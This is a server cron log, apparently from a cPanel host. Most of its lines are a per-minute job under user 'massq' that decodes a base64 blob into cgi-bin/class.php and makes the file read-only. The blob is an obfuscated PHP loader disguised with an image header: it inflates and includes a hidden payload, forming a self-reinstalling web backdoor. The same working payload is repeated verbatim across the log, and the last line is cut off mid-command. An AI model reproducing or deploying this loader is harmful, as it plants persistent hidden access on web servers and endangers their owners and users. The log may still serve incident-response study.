Apr  7 03:52:01 server CROND[19968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:53:01 server CROND[20086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:53:02 server run-parts(/etc/cron.daily)[20351]: finished maldet
Apr  7 03:53:02 server run-parts(/etc/cron.daily)[19751]: starting man-db.cron
Apr  7 03:53:03 server run-parts(/etc/cron.daily)[20432]: finished man-db.cron
Apr  7 03:53:03 server anacron[15418]: Job `cron.daily' terminated
Apr  7 03:54:01 server CROND[21518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:55:01 server CROND[21571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:55:01 server CROND[21572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:55:01 server CROND[21573]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:56:01 server CROND[21779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:57:01 server CROND[21812]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 03:57:01 server CROND[21813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:58:01 server CROND[21863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:59:01 server CROND[21914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:00:01 server CROND[21965]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 04:00:01 server CROND[21968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:00:01 server CROND[21969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:00:01 server CROND[21967]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 04:00:01 server CROND[21972]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:01:01 server CROND[22179]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 04:01:01 server CROND[22181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:01:01 server run-parts(/etc/cron.hourly)[22179]: starting 0anacron
Apr  7 04:01:01 server run-parts(/etc/cron.hourly)[22192]: finished 0anacron
Apr  7 04:02:01 server CROND[22254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:03:01 server CROND[22305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:04:01 server CROND[22374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:05:01 server CROND[22424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:05:01 server CROND[22425]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 04:05:01 server CROND[22426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 